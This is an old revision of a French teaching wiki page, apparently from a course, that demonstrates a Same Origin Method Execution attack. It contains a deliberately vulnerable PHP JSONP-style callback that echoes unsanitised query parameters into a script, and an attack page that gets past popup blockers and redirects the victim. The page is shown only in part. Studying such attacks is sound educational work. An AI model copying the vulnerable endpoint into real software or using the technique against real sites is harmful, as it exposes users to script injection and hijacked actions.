This is an old revision of the document!
SOME (Same Origin Method Execution)
Il s'agit d'une attaque web… à expliquer briévement ici. Pour plus d'info sur le sujet, cf. la biblio ci-dessous.
Démonstration
La démonstration suivante a été mise en oeuvre avec le navigateur Google Chrome.
Soit le site web “victime” http://www.labri.fr/perso/esnard/index.html, qui possède un callback endpoint vulnérable (typiquement du JSONP ou du Flash). Ici le endpoint vulnérable est juste un programme callback.php (http://www.labri.fr/perso/esnard/php/callback.php), qui prend deux arguments : une fonction de callback et un argument (arg) à passer à la fonction callback. Par exemple :
En pratique, le code PHP se contente d'éxécuter une fonction JavaScript :
- callback.php
<?php $callback = isset($_GET['callback']) ? $_GET['callback'] : "document.write"; $arg = isset($_GET['arg']) ? $_GET['arg'] : "hello world!"; print "<html><script> $callback(\"$arg\"); </script></html>"; ?>
Imaginons que la victime souhaitant visiter la page http://www.labri.fr/perso/esnard y accède en cliquant sur un lien frauduleux http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html, qui le redirige automatiquement vers le site souhaité…
Par exemple : Page Perso de A. Esnard
Afin de contourner les popups blocker (celui interne à Google Chrome et/ou les plugins comme AdBlock), ils existent de multiples techniques. La plus simple consiste à ouvrir le popup après un click utilisateur…
- attack-click.html
<html> <body> <h1> Main Attack Page</h1> <script> function redirect() { window.open("/demo/some-attack/win1.html"); window.location.replace("http://www.labri.fr/perso/esnard/php/attackme.html"); } </script> <button onclick="redirect()">Start</button> </body> </html>
(…)